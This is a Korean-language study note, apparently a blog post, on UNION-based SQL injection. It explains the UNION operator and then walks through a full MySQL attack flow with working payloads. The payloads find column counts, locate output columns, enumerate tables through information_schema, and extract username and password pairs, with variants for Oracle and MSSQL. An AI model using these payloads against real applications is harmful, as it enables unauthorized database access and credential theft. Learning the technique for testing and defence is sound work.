What is UNION?

SQL에서 두 개 이상의 SELECT 쿼리 결과를 결합해 하나의 결과 집합으로 만들 때 사용한다. 중복된 결과(행)는 제거한다.

유니온 연산자는 첫번째 테이블 기준으로 앞, 뒤의 컬럼 개수와 데이터 타입이 일치해야 한다.

  • MySQL: 컬럼 개수만 일치하면 됨
  • Oracle, MSSQL: 컬럼 개수 + 데이터 타입 모두 일치해야 함

UNION SQL Injection 탐지

핵심 전제: Union SQLi는 DB에 질의한 쿼리 결과가 웹 페이지 상에 출력되어야 한다.

DB 결과 대신 웹 어플리케이션에서 정의한 내용이 출력되면 확인할 수 없기 때문에 Union SQLi는 불가능하다. 단, 참/거짓에 따른 질의 결과가 다르면 Blind 인젝션이 가능하다.

UNION ALL

UNION ALL은 중복 제거 없이 모든 데이터를 반환한다. 대량의 데이터가 존재하는 테이블 대상으로 공격할 때는 UNION ALL을 사용하는 것이 바람직하다.

공격 프로세스

1. 공격 가능성 확인

DB 결과가 웹 페이지에 출력될 때 Union 공격 사용 가능:

  1. 작은 따옴표 삽입 시 → DB 에러 발생
  2. %문자열% 삽입 시 → Like 구문으로 인해 문자열 포함 결과 출력

2. 컬럼 개수 파악

Order by 방식

' order by 1 -- -
' order by 2 -- -
' order by 3 -- -
-- 에러가 나는 숫자 - 1 = 실제 컬럼 개수

UNION SELECT 방식

TEST' UNION SELECT 1 -- -
TEST' UNION SELECT 1,2 -- -
TEST' UNION SELECT 1,2,3 -- -
TEST' UNION SELECT 1,2,3,4 -- -  ← 결과 반환 시 컬럼 4개

3. Injection 위치 파악

쿼리가 여러 컬럼을 반환하지만 웹 애플리케이션은 일부 컬럼만 출력하는 경우가 많다. 출력되는 컬럼 위치를 파악해야 한다.

TEST' UNION SELECT 1,database(),3,4 -- -
TEST' UNION SELECT 1,@@version,3,4 -- -
TEST' UNION SELECT 1,user(),3,4 -- -

4. 단일 컬럼에서 여러 데이터 추출

-- Oracle
' UNION SELECT username || '~' || password FROM users --
 
-- MSSQL
' UNION SELECT username + '~' + password FROM users -- -
 
-- MySQL
' UNION SELECT concat(username,'~',password) FROM users -- -

전체 공격 플로우 예시 (MySQL)

-- 1. 컬럼 수 파악
' order by 4 -- -
 
-- 2. 출력 컬럼 위치 확인
' UNION SELECT 1,2,3,4 -- -
 
-- 3. DB 이름 추출
' UNION SELECT 1,database(),3,4 -- -
 
-- 4. 테이블 목록화
' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1 -- -
 
-- 5. 컬럼 목록화
' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users' LIMIT 0,1 -- -
 
-- 6. 데이터 추출
' UNION SELECT 1,concat(username,':',password),3,4 FROM users LIMIT 0,1 -- -

UNION-SQLi sqli web-hacking